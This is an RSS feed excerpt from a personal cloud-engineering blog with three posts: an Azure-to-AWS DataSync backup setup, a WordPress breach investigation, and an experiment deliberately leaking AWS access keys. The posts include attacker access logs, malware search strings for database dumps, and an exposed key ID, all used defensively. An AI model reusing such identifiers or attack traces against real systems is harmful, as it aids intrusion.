AWS account are compelled to use MFA, especially in the absence of an Identity Center or SSO solution.</p><p>If you want to know if your AWS accounts are secure and follow best practices we are happy to assist you, just get in <a href="https://evoila.com/contact/?ref=eduard.schwarzkopf.center" rel="noreferrer noopener">contact</a> with us.</p><hr><p>This article was originally published on <a href="https://evoila.com/blog/secure-aws-account-critical-importance-mfa-ease-cloudformation-stack/?ref=eduard.schwarzkopf.center">evoila</a>.</p>]]></content:encoded></item><item><title><![CDATA[How to backup your SMB shares and blob storage from Azure to AWS with DataSync]]></title><description><![CDATA[<h2 id="introduction">Introduction</h2><p>Have you ever been in a situation where you had files on <a href="https://evoila.com/solutions/microsoft/microsoft-azure/?ref=eduard.schwarzkopf.center">Azure</a> but would like to have them on another cloud provider? Well, one of our customers had exactly this requirement.</p><p>We provided a solution for this problem and since sharing is caring, I&#x2019;m going to</p>]]></description><link>https://eduard.schwarzkopf.center/how-to-backup-your-smb-shares-and-blob-storage-from-azure-to-aws-with-datasync/</link><guid isPermaLink="false">6605513b031e2c00015f3353</guid><category><![CDATA[AWS]]></category><category><![CDATA[AWS DataSync]]></category><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Wed, 31 Jan 2024 11:17:00 GMT</pubDate><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2><p>Have you ever been in a situation where you had files on <a href="https://evoila.com/solutions/microsoft/microsoft-azure/?ref=eduard.schwarzkopf.center">Azure</a> but would like to have them on another cloud provider? Well, one of our customers had exactly this requirement.</p><p>We provided a solution for this problem and since sharing is caring, I&#x2019;m going to provide you with some insights and the actual code, that you can make use of.</p><h2 id="overview">Overview</h2><p><strong>So let&#x2019;s start with the requirements we had from the customer:</strong></p><ul><li>Tertiary backup should be on <a href="https://evoila.com/solutions/aws-consulting-managed-cloud-services/?ref=eduard.schwarzkopf.center">AWS</a></li><li>Data transfer from Azure to AWS must be encrypted</li><li>Both SMB shares and blob storage from all storage accounts must be backed up</li><li>Backup should also be restorable in AWS</li><li>As always: keep costs at a minimum</li></ul><p><strong>Key data for this project:</strong></p><ul><li>Over 100 storage accounts</li><li>Each storage account has both SMB shares and blob data</li><li>Storage size of all data, approx. 90TB</li></ul><h2 id="first-approach">First approach</h2><p>The first solution we investigated looked like this:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://evoila.com/wp-content/uploads/2024/01/diagram-first-solution-1024x461.png" class="kg-image" alt="Diagram of first solution" loading="lazy" width="1024" height="461"><figcaption>Diagram of first solution: <a href="https://aws.amazon.com/de/blogs/modernizing-with-aws/azure-blob-to-amazon-s3/?ref=eduard.schwarzkopf.center" class="ek-link">https://aws.amazon.com/de/blogs/modernizing-with-aws/azure-blob-to-amazon-s3/</a></figcaption></figure><p>It has Lambas, SNS, and other serverless services in there! Perfect! But after closer examination, some points did not quite fit the requirements. The first point is that the solution here only covers blob storage. In other words, we would have to extend the solution so that it also covers SMB files.</p><p>Another point: There are quite a few components that are used here. If that works right from the start great, but if stuff fails, happy debugging. This will increase the costs by a lot.</p><p>Looking at the first paragraph from the article it states that this solution not only transfers data once but is also capable of transferring data continuously.</p><p>It&#x2019;s a nice solution, but not exactly what we need for our purposes. We need something simpler!</p><p>If only AWS had a service that could move data from A to B and we didn&#x2019;t have to worry about anything other than connecting everything. That would be a nice solution. Luckily, there is!</p><h2 id="the-solution">The solution</h2><p>Ladies and Gentlemen, let me introduce you to &#x2013; <a href="https://aws.amazon.com/datasync/?ref=eduard.schwarzkopf.center">AWS DataSync</a>!</p><p>DataSync is exactly the service we needed for the solution. It supports both Blob storage and SMB shares. Plus, we can store everything directly in S3 as is. Easy to use, simple to maintain, and serverless. Just perfect!</p><p>Here is the solution as a diagram:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://evoila.com/wp-content/uploads/2024/01/diagram-datasync-1024x335.png" class="kg-image" alt="Diagram of the solution with DataSync" loading="lazy" width="1024" height="335"><figcaption>Diagram of the solution with DataSync</figcaption></figure><p>Much simpler, isn&#x2019;t it? But now the exciting question is, how do I implement this? Time for a demo.</p><h2 id="demo-with-clickops">Demo with ClickOps</h2><p>Since we first want to have a demo to see how the whole thing works, the first step is to create the solution using Click Ops. There are a few steps that need to happen on Azure and AWS.</p><p>I could write them all down or I could simply point you to the instructions from AWS itself that I used. Enjoy:</p><ul><li><strong>For SMB shares:</strong> <a href="https://aws.amazon.com/blogs/storage/how-to-move-data-from-azure-files-smb-shares-to-aws-using-aws-datasync/?ref=eduard.schwarzkopf.center">https://aws.amazon.com/blogs/storage/how-to-move-data-from-azure-files-smb-shares-to-aws-using-aws-datasync/</a></li><li><strong>For Blob Storage:</strong> <a href="https://aws.amazon.com/blogs/storage/migrating-azure-blob-storage-to-amazon-s3-using-aws-datasync/?ref=eduard.schwarzkopf.center">https://aws.amazon.com/blogs/storage/migrating-azure-blob-storage-to-amazon-s3-using-aws-datasync/</a></li></ul><p>Once everything is set up, the first transfer can begin. In our test, we used a couple of files with approx. 90Gb in size. However, it is important to mention here that one file is already 85 GB. Why is this important? I&#x2019;ll tell you later.</p><p>So the result looks like this:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://evoila.com/wp-content/uploads/2024/01/first-test-performance-1024x473.png" class="kg-image" alt="Perfomance result for the first test" loading="lazy" width="1024" height="473"><figcaption>Perfomance result for the first test</figcaption></figure><p>The transfer was successful and all data is now in S3. Perfect! But after looking at these numbers, the first thought was: <em>&#x201C;Hmpf, that&#x2019;s kind of slow, even for German transfer rates&#x201D;</em>.</p><p>This might become a massive problem if the transfer takes too long and the next job is due. But don&#x2019;t worry, we wouldn&#x2019;t be evoila, if we didn&#x2019;t have a solution for this!</p><h2 id="fixing-the-performance-problem">Fixing the performance problem</h2><p>When transferring data from cloud to cloud, everyone would probably expect significantly more than just 30Mib/s. So, what the fricking &#x1F986; is going on here? Let&#x2019;s go in search of clues.</p><p>We can rule out DataSync directly because there is only the option of throttling the transfer or working with full power. This means that the only adjustment we have is the VM on Azure which the agent is running on.</p><p>Our test machine is the Standard_E4as_v4 with the recommended resources:</p><ul><li>32GiB RAM</li><li>4 cores</li></ul><p>Theoretically, everything is sufficient and according to the <a href="https://learn.microsoft.com/de-de/azure/virtual-machines/eav4-easv4-series?ref=eduard.schwarzkopf.center">Docs</a>, this machine is capable of putting 4000 MBit/s through the network.</p><p>So what is the problem then? Simply put: Size does matter!</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://evoila.com/wp-content/uploads/2024/01/size-matters.png" class="kg-image" alt="Size does matter" loading="lazy" width="350" height="280"><figcaption>Size does matter</figcaption></figure><p>As described above, one file is 85 GB! It turns out the bottleneck on our test is the <em>compressing</em> of these 85Gb. Nothing more. We did another test with a lot smaller files and we achieved speeds of over 100 Mib/s.</p><p>From this, I can recommend keeping the files as small as possible. If, for whatever reason, you still might have issues regarding the performance, AWS has your back. This article covers more options to accelerate your data transfer:</p><p><a href="https://aws.amazon.com/blogs/storage/how-to-accelerate-your-data-transfers-with-aws-datasync-scale-out-architectures/?ref=eduard.schwarzkopf.center">How to accelerate your data transfers with AWS DataSync scale-out architectures</a></p><h2 id="make-it-done">Make it done</h2><p>Now that all the problems have been solved and the demo works, it&#x2019;s time to make it usable.</p><p>As already mentioned, there are more than 100 storage accounts and each of them has SMB shares as well as blob storage. This means for each storage account, we would need to create a task in DataSync for the blob storage and a task for the SMB share. Doing this via Click Ops would be madness, so in this case we naturally use the power of IaC.</p><p>You can find the repository for this project in our GitHub repository <a href="https://github.com/evoila/azure-to-aws-datasync?ref=eduard.schwarzkopf.center">evoila/azure-to-aws-datasync</a>.</p><p>Let me explain to you some decisions we made and why some things in the repository were solved a certain way.</p><h3 id="list-of-accounts">List of accounts</h3><p>We have decided to manage the accounts in a simple list. The reason is so we can get started with it sooner rather than later.</p><p>An example of how such an account is defined can be found in the file terraform/storage_accounts.tfvars.example:</p><pre><code class="language-terraform">storage_account_list = [{
&#xA0; name = &quot;my-storage-account&quot;
&#xA0; smb = {
&#xA0;&#xA0;&#xA0; server_hostname = &quot;mystorage.file.core.windows.net&quot;
&#xA0;&#xA0;&#xA0; subdirectory = &quot;/fileshare/&quot;
&#xA0;&#xA0;&#xA0; user = &quot;user&quot;
&#xA0;&#xA0;&#xA0; password = &quot;UGxlYXNlRG9udEhhY2tNZUhhY2tlcm1hbg==&quot;
&#xA0; }
&#xA0; azure_blob = {
&#xA0;&#xA0;&#xA0; container_url = &quot;https://mycontainer.blob.core.windows.net/example&quot;
&#xA0;&#xA0;&#xA0; token = &quot;sp=rl&amp;st=2023-10-19T13:15:31Z&amp;se=2023-10-19T21:15:31Z&amp;spr=https&amp;sv=2022-11-02&amp;sr=c&amp;sig=&lt;string&gt;&quot;
&#xA0; }
}]</code></pre><p>As you can see, credentials are stored in this file. So make sure to keep it a secret!</p><h3 id="cmk">CMK</h3><p>The CMK is only created initially so that it is a terraform resource. But the key material is created and managed by the customer as the compliance requirement states. This is why we are ignoring changes in the key on the alias:</p><pre><code class="language-terraform">resource &quot;aws_kms_alias&quot; &quot;cmk_s3_alias&quot; {
  name          = &quot;alias/${var.cmk_s3_alias}&quot;
  target_key_id = aws_kms_external_key.cmk_s3.arn
  lifecycle {
    ignore_changes = [target_key_id]
  }
}</code></pre><h3 id="s3">S3</h3><p>For S3, we have decided to put all files in a single bucket and sort them using unique names and keys.</p><p>An example would be:</p><pre><code class="language-text">account1
&#x251C;&#x2500;&#x2500; blob
&#x2502; &#x2514;&#x2500;&#x2500; files
&#x2514;&#x2500;&#x2500; smb
&#xA0;&#xA0;&#xA0; &#x2514;&#x2500;&#x2500; files
account2
&#x251C;&#x2500;&#x2500; blob
&#x2502; &#x2514;&#x2500;&#x2500; files
&#x2514;&#x2500;&#x2500; smb
&#xA0;&#xA0;&#xA0; &#x2514;&#x2500;&#x2500; files</code></pre><p>This way we can manage the control policy on a single bucket and if more precise permissions are required later, it will be done so on the key level.</p><h3 id="monitoring">Monitoring</h3><p>I didn&#x2019;t include monitoring into the terraform code, because this is heavily depented on your scenario. Setting it up is easy though. Trust me. Just create an EventBridge rule for DataSync, that&#x2019;s it. From here, you can trigger a Lambda, SNS or whatever you like. You can find a <a href="https://repost.aws/knowledge-center/datasync-task-execution-notification?ref=eduard.schwarzkopf.center">great article here</a> on how to setup a notification of a successull or failed task.</p><h2 id="conclusion">Conclusion</h2><p>In our journey of transferring files from Azure to AWS, AWS DataSync emerged as the optimal choice. Despite performance hitches, streamlining processes and prioritizing smaller file sizes led to successful transfers.</p><p>The Infrastructure as Code solution we developed, efficiently created tasks for storage accounts, and we applied strong security measures ensuring centralized, controlled access to data.</p><p>Our solution is open source, and the provided Terraform code is readily adaptable for your projects. If you also need to synchronize data from a storage account having both SMB shares and blob storage, simply clone our GitHub repository, update the storage account list with your specification, and use the Terraform apply command to initiate the process. This simplifies the process of migrating substantial data securely between cloud platforms.</p><!--kg-card-begin: html--><hr><!--kg-card-end: html--><p>This article was originally published on <a href="https://evoila.com/blog/how-to-backup-smb-shares-blob-storage-azure-aws-datasync/?ref=eduard.schwarzkopf.center">evoila</a>.</p>]]></content:encoded></item><item><title><![CDATA[Website under attack: Insights into a WordPress security attack]]></title><description><![CDATA[<p>One morning a client contacted me because his website had some cool new sweepstakes on his WordPress instance. Unfortunately, he also told me that this is probably not from him, but his site is probably compromised. So, nothing to win here. This means I have to see what exactly happened</p>]]></description><link>https://eduard.schwarzkopf.center/website-under-attack-instructive-insights-into-a-wordpress-security-attack/</link><guid isPermaLink="false">651a76a5031e2c00015f2e27</guid><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Mon, 02 Oct 2023 12:00:22 GMT</pubDate><content:encoded><![CDATA[<p>One morning a client contacted me because his website had some cool new sweepstakes on his WordPress instance. Unfortunately, he also told me that this is probably not from him, but his site is probably compromised. So, nothing to win here. This means I have to see what exactly happened and how this can be reverted.</p><h2 id="first-details">First details</h2><p>I was contacted on September 5, 2023. With all known details, one of which was a password change on one of the admin accounts. This password change was on the 12th of May. This means the attacker was undetected for 116 days! You might think, that this is the long timeframe, which I would tell you: Yes! you are right. However, it is still below the average of <a href="https://venturebeat.com/security/report-average-time-to-detect-and-contain-a-breach-is-287-days/?ref=eduard.schwarzkopf.center">287 days </a>until a breach is detected.</p><p>Since the breach is at least 116 days old there is no point in restoring a backup until I know exactly when the attacker got into the system. So it is time to do some forensics on the system.</p><h2 id="step-1lockdown">Step 1 - Lockdown</h2><p>Since this is a crime scene, the first thing I need to do is lock the system down. This is to prevent users from falling for the scam and avoid further damage to the customer&apos;s reputation.</p><p>A simple <a href="https://en.wikipedia.org/wiki/Basic_access_authentication?ref=eduard.schwarzkopf.center">Basic Authentication</a> on the whole website is enough here.</p><p>With the site locked for everyone else, I can begin to gather more information about what happened.</p><h2 id="step-2forensics">Step 2 - Forensics</h2><p>With access to the cPanel, I&apos;m going to download the current state of the WordPress instance. This is so I can run a local scan and other intel gathering locally, without breaking anything online.</p><p>After installing the instance on a virtual machine, I&apos;m starting a scan with <a href="https://github.com/wpscanteam/wpscan?ref=eduard.schwarzkopf.center">wp-scan</a> and letting it do its thing.</p><p>In the meantime, it is time to dig into logs. Luckily I&apos;ve got a date of a strange event: Admin password change on the 12th of May. </p><p>Looking inside the access logs on this date, I can see a lot of the usual noise and something that is out of the ordinary:</p><!--kg-card-begin: markdown--><pre><code class="language-text">193.169.195.57 - - [12/May/2023:16:26:56 +0200] &quot;GET / HTTP/1.1&quot;
301 487 &quot;-&quot; &quot;Mozilla/5.0 (Windows NT 10.0; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125
Safari/537.36&quot;
&#x2026;
193.169.195.57 - - [12/May/2023:16:27:21 +0200] &quot;GET /about-us
HTTP/1.1&quot; 404 126301 &quot;-&quot; &quot;Mozilla/5.0 (Windows NT 10.0; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125
Safari/537.36&quot;
193.169.195.57 - - [12/May/2023:16:27:21 +0200] &quot;GET /terms-of-
service HTTP/1.1&quot; 404 126335 &quot;-&quot; &quot;Mozilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125
Safari/537.36&quot;
&gt;&gt; 193.169.195.57 - - [12/May/2023:16:27:22 +0200] &quot;GET /?343=1
HTTP/1.1&quot; 200 236590 &quot;-&quot; &quot;Mozilla/5.0 (Windows NT 10.0; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125
Safari/537.36&quot;
193.169.195.57 - - [12/May/2023:16:27:23 +0200] &quot;POST
/wp-admin/admin-ajax.php HTTP/1.1&quot; 200 5901 &quot;-&quot; &quot;Mozilla/5.0
(Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/84.0.4147.125 Safari/537.36&quot;
193.169.195.57 - - [12/May/2023:16:27:24 +0200] &quot;POST
/wp-admin/admin-ajax.php HTTP/1.1&quot; 200 5921 &quot;-&quot; &quot;Mozilla/5.0
(Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/84.0.4147.125 Safari/537.36&quot;
&gt;&gt; 193.169.195.57 - - [12/May/2023:16:27:24 +0200] &quot;POST /wp-
login.php HTTP/1.1&quot; 200 17358 &quot;-&quot; &quot;Mozilla/5.0 (Windows NT 6.1;
Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0&quot;
</code></pre>
<!--kg-card-end: markdown--><p>As you can see there was an enumeration process going on from the IP <code>193.169.195.57</code> and in the last entry a successful login. Interesting. </p><p>So how was this possible? Take a closer look at the entries above, especially this one:<br> <code>193.169.195.57 - - [12/May/2023:16:27:22 +0200] &quot;GET /?343=1 ...</code></p><p>Searching for this request will lead to <a href="https://blog.sucuri.net/2023/05/vulnerability-in-essential-addons-for-elementor-leads-to-mass-infection.html?ref=eduard.schwarzkopf.center#remediation">this article</a>. Which describes a vulnerability in <code>Essential Addons for Elementor</code>. Give it a read to know the details of this.</p><p>Going back to wp-scan I&apos;m getting a lot of outdated plugins warning, one of which is the <code>Essential Addons for Elementor</code> Plugin. Seems like we&apos;ve got a match.</p><p>Checking the signature of this with the created files, I can confirm, that this is the attack that led to the breach:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/10/grafik.png" class="kg-image" alt loading="lazy" width="825" height="608" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/10/grafik.png 600w, https://eduard.schwarzkopf.center/content/images/2023/10/grafik.png 825w" sizes="(min-width: 720px) 720px"></figure><h2 id="step-3remediation">Step 3 - Remediation</h2><p>The best thing you can do in this situation is to install a clean WordPress and point it to the current database. But before I can do that, I also need to make sure, that the database is not contaminated with malware. </p><p>A quick way to do this is, to download the SQL dump, open it with a code editor and search for the following:</p><ul><li><code>&lt;iframe</code></li><li><code>base64_decode</code></li><li><code>eval()</code></li><li><code>&lt;script</code></li></ul><p>If you find any of these entries inside your dump, take a closer look at them. This might be another way for the hacker to get back into your WordPress instance. You can read more about <a href="https://wpdatatables.com/scan-wordpress-database-for-malware/?ref=eduard.schwarzkopf.center">this topic here</a>.</p><p>In this case, there was nothing to be found, so I proceeded with installing WordPress in a subfolder.</p><p>After confirming that the new WordPress is up and running I deleted the old WordPress files.</p><h2 id="step-4hardening">Step 4 - Hardening</h2><p>Now that everything seems to be cleared, I need to make sure, this won&apos;t happen in the future again. This means hardening the system.</p><p>For this, I&apos;ve installed <a href="https://wordpress.org/plugins/wordfence/?ref=eduard.schwarzkopf.center">Wordfence</a>. This plugin is a great plugin when it comes to hardening WordPress and notifying certain events.</p><p>Wordfence also offers the ability to enable 2FA. Which every User with Admin privileges is now required to have.</p><p>Next, I&apos;ve instructed the team to remove all unused plugins. An easy step, but a powerful one.</p><p>The last and most important one: I&apos;ve enabled automatic updates on all plugins, themes and WordPress itself. I know that this might break the site from time to time, but I can assure you that a <code>div</code> slightly offset is far better than a breached website.</p><h2 id="conclusion">Conclusion</h2><p>The breach of this WordPress site emphasized the importance of timely software updates and vigilant cybersecurity measures.</p><p>This incident, rooted in an outdated plugin, could have been avoided with regular updates. So make sure to implement at least automatic updates!</p><p>I can also highly recommend installing Wordfence on your WordPress site, to have an extra layer of security.</p><p>It&apos;s crucial to remember that maintaining software up-to-date is an essential defence against cyber threats, underlining the necessity to keep your software updated to ensure optimal site security.</p>]]></content:encoded></item><item><title><![CDATA[I Exposed AWS Access Keys, On Purpose: Here's What I Learned and How I Boosted Incident Response]]></title><description><![CDATA[<h2 id="introduction">Introduction</h2><p>Who doesn&apos;t know that, you just write a quick fix for your code? After a few hours, the function is finally finished.</p><p>Proud to have finally done it. Your Brain, toast. Your commit, fast. Pushing your credentials without realising, even faster! Let&apos;s find out what</p>]]></description><link>https://eduard.schwarzkopf.center/i-exposed-aws-access-keys-on-purpose-heres-what-i-learned-and-how-i-boosted-incident-response/</link><guid isPermaLink="false">64d1415b4521a80001e9bce4</guid><category><![CDATA[AWS]]></category><category><![CDATA[Security]]></category><category><![CDATA[IAM]]></category><category><![CDATA[Access Keys]]></category><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Mon, 07 Aug 2023 19:20:55 GMT</pubDate><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2><p>Who doesn&apos;t know that, you just write a quick fix for your code? After a few hours, the function is finally finished.</p><p>Proud to have finally done it. Your Brain, toast. Your commit, fast. Pushing your credentials without realising, even faster! Let&apos;s find out what happens next.</p><p>It happens like that every day. However, I wanted to experience this myself. What is happening on the AWS side, and what steps can I add to increase our security posture here. So join me on my journey of making the Access Keys public so we can both learn from it.</p><h2 id="setup">Setup</h2><p>The setup for this experiment is simple:</p><ul><li>A public repository on GitHub</li><li>A clumsy user (me)</li><li>Access key from that user</li><li>SNS</li><li>SES</li><li>Step Functions</li><li>EventBridge</li></ul><p>So the first thing I did was to create a repository on GitHub. Nothing special. It contains a <code>README.md</code> and <code>.env</code> file. That should be enough. Usually, the <code>.env</code> file shouldn&apos;t be committed in any repository, but clumsy me wanted to finally finish the work. So I forgot to add this to the <code>.gitignore</code>. Whoopsie!</p><p>Luckily, for me, I&apos;m using a specific user for this case alone. Since I knew beforehand that I will expose those keys &quot;by accident&quot;, I was prepared. After all, exposing any keys is always dangerous. Don&apos;t try this at home!</p><p>The dummy user is not allowed to do anything, nada, niente. Not only implicitly, but explicitly! AWS has already created a role for this purpose <code>AWSDenyAll</code>. So I&apos;m using this policy for that clumsy user.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/08/grafik.png" class="kg-image" alt loading="lazy" width="2000" height="973" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/08/grafik.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/08/grafik.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/08/grafik.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2023/08/grafik.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Now that that&apos;s done, quickly created a SNS Topic and put my email in it as a subscriber.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/08/grafik-1.png" class="kg-image" alt loading="lazy" width="2000" height="830" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/08/grafik-1.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/08/grafik-1.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/08/grafik-1.png 1600w, https://eduard.schwarzkopf.center/content/images/2023/08/grafik-1.png 2198w" sizes="(min-width: 720px) 720px"></figure><p>Now I have to get the corresponding event. The magic word is, therefore: EventBridge Rule. For this, I followed <a href="https://github.com/aws/aws-health-tools/blob/master/automated-actions/AWS_RISK_CREDENTIALS_EXPOSED/README.md?ref=eduard.schwarzkopf.center">this tutorial</a>. After I set up everything, I did the first test. A little Test and the result: One support ticket, one email from AWS, and no SNS notification. Interesting. Like the good first-class programmer I am, let&apos;s not change anything and run it again. Still no change. Very interesting.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2023/08/grafik-2.png" class="kg-image" alt loading="lazy" width="500" height="368"><figcaption>PC guy meme</figcaption></figure><h3 id="a-small-adventure">A small adventure</h3><p>A few exposed keys and just as many support tickets later, I figured it out. Let me explain it to you. You see, the event is triggered by the Support Center. More precisely, as soon as an issue is created. See the following screenshot:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/08/grafik-3.png" class="kg-image" alt loading="lazy" width="2000" height="805" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/08/grafik-3.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/08/grafik-3.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/08/grafik-3.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2023/08/grafik-3.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>As you can see the event is called <code>AWS_RISK_IAM_QUARANTINE</code> and NOT <code>AWS_RISK_CREDENTIALS_EXPOSED</code>. Glad nobody told me this before! But that is not all. Under the EventBridge rule <code>AWS_RISK_CREDENTIALS_EXPOSED</code> is not available in the dropdown either! Isn&apos;t that great?</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/08/grafik-4.png" class="kg-image" alt loading="lazy" width="1646" height="1740" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/08/grafik-4.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/08/grafik-4.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/08/grafik-4.png 1600w, https://eduard.schwarzkopf.center/content/images/2023/08/grafik-4.png 1646w" sizes="(min-width: 720px) 720px"></figure><p>Fortunately, the solution here is relatively simple, do it yourself:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/08/grafik-5.png" class="kg-image" alt loading="lazy" width="2000" height="1364" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/08/grafik-5.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/08/grafik-5.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/08/grafik-5.png 1600w, https://eduard.schwarzkopf.center/content/images/2023/08/grafik-5.png 2232w" sizes="(min-width: 720px) 720px"></figure><p>Here is the JSON</p><!--kg-card-begin: markdown--><pre><code class="language-json">{
  &quot;source&quot;: [&quot;aws.health&quot;],
  &quot;detail-type&quot;: [&quot;AWS Health Event&quot;],
  &quot;detail&quot;: {
    &quot;service&quot;: [&quot;RISK&quot;],
    &quot;eventTypeCategory&quot;: [&quot;issue&quot;],
    &quot;eventTypeCode&quot;: [&quot;AWS_ACCESS_KEY_EXPOSED&quot;, &quot;AWS_RISK_IAM_QUARANTINE&quot;]
  }
}
</code></pre>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2023/08/grafik-6.png" class="kg-image" alt loading="lazy" width="198" height="254"><figcaption>But wait there&apos;s more meme</figcaption></figure><p>Yep, there is still more to do. The region plays a decisive role here as well because the Support Center is a global service, but it directly means that the events arrive in <code>us-east-1</code>. Global usually means <code>us-east-1</code>. Remember that! So the EventBridge Rule as well as the SNS Topic and whatever you need to automate in this case <strong>must</strong> be created in <code>us-east-1</code>!</p><blockquote>Some AWS Health events are not Region-specific. Events that aren&apos;t specific to a Region are called global events. These include events sent for AWS Identity and Access Management (IAM). To receive global events, you must create a rule for the US East (N. Virginia) Region.</blockquote><blockquote><a href="https://docs.aws.amazon.com/health/latest/ug/cloudwatch-events-health.html?ref=eduard.schwarzkopf.center" rel="nofollow">Source</a></blockquote><p>So again short and sweet:</p><ol><li>the EventBridge Rule <em>to receive a global event</em> must be in <code>us-east-1</code>.</li><li>the SNS Topic must be in <code>us-east-1</code>.</li><li>the event pattern must be as described above</li></ol><p>Now this is all setup, time to make a whoopsie-daisy and expose our access key.</p><h2 id="the-exposure">The Exposure</h2><p>As described before, the key is made public in the <code>.env</code> file &quot;by accident&quot;. To do this, I simply enter the <code>Access Key</code> and <code>Secret Access Key</code> and use the magic words <code>git commit -m &quot;exposium!&quot; &amp;&amp; git push origin main</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://eduard.schwarzkopf.center/content/images/2023/08/grafik-7.png" class="kg-image" alt loading="lazy" width="666" height="375" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/08/grafik-7.png 600w, https://eduard.schwarzkopf.center/content/images/2023/08/grafik-7.png 666w"><figcaption>Harry Potter meme</figcaption></figure><p>After the push, some processes are initiated at GitHub and AWS. This happens on every commit and this allows AWS to react in time if they find access keys in a repository. You can read here about <a href="https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning?ref=eduard.schwarzkopf.center">GitHubs secret scanner</a>. In the default case, 3 things happen:</p><ol><li>a support ticket is opened on AWS Support</li><li>you get an email with the info that access keys have been exposed</li><li>the user gets the policy <code>AWSCompromisedKeyQuarantineV2</code> attached.</li></ol><p>The email describes some steps you can do in this case. Here is an excerpt:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/08/grafik-8.png" class="kg-image" alt loading="lazy" width="1678" height="898" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/08/grafik-8.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/08/grafik-8.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/08/grafik-8.png 1600w, https://eduard.schwarzkopf.center/content/images/2023/08/grafik-8.png 1678w" sizes="(min-width: 720px) 720px"></figure><p>And here is the event that gets created:</p><!--kg-card-begin: markdown--><pre><code class="language-json">{
   &quot;version&quot;:&quot;0&quot;,
   &quot;id&quot;:&quot;&lt;id&gt;&quot;,
   &quot;detail-type&quot;:&quot;AWS Health Event&quot;,
   &quot;source&quot;:&quot;aws.health&quot;,
   &quot;account&quot;:&quot;&lt;account_id&gt;&quot;,
   &quot;time&quot;:&quot;2023-07-10T09:30:04Z&quot;,
   &quot;region&quot;:&quot;us-east-1&quot;,
   &quot;resources&quot;:[
      &quot;AKIARCDX5PTSMNPTIQOR&quot;
   ],
   &quot;detail&quot;:{
      &quot;eventTypeCode&quot;:&quot;AWS_RISK_IAM_QUARANTINE&quot;,
      &quot;communicationId&quot;:&quot;&lt;communicationId&gt;&quot;,
      &quot;eventScopeCode&quot;:&quot;ACCOUNT_SPECIFIC&quot;,
      &quot;eventTypeCategory&quot;:&quot;issue&quot;,
      &quot;affectedEntities&quot;:[
         {
            &quot;entityValue&quot;:&quot;AKIARCDX5PTSMNPTIQOR&quot;
         }
      ],
      &quot;eventMetadata&quot;:{
         &quot;accountId&quot;:&quot;&lt;account_id&gt;&quot;,
         &quot;publicKey&quot;:&quot;AKIARCDX5PTSMNPTIQOR&quot;,
         &quot;userName&quot;:&quot;ExposedKeysUser&quot;,
         &quot;exposedUrl&quot;:&quot;https://github.com/&lt;github_user&gt;/expose-aws-keys-experiment/blob/&lt;commit&gt;/.env&quot;
      },
      &quot;eventArn&quot;:&quot;arn:aws:health:us-east-1::event/RISK/AWS_RISK_IAM_QUARANTINE/AWS_RISK_IAM_QUARANTINE-oBGgvLlBIX&quot;,
      &quot;service&quot;:&quot;RISK&quot;,
      &quot;eventDescription&quot;:[
         {
            &quot;latestDescription&quot;:&quot;Your AWS Account may be compromised! We have opened a Support Case with more details. Please visit the AWS Support Center https://aws.amazon.com/support to review the case we&apos;ve opened for you and take action immediately.&quot;,
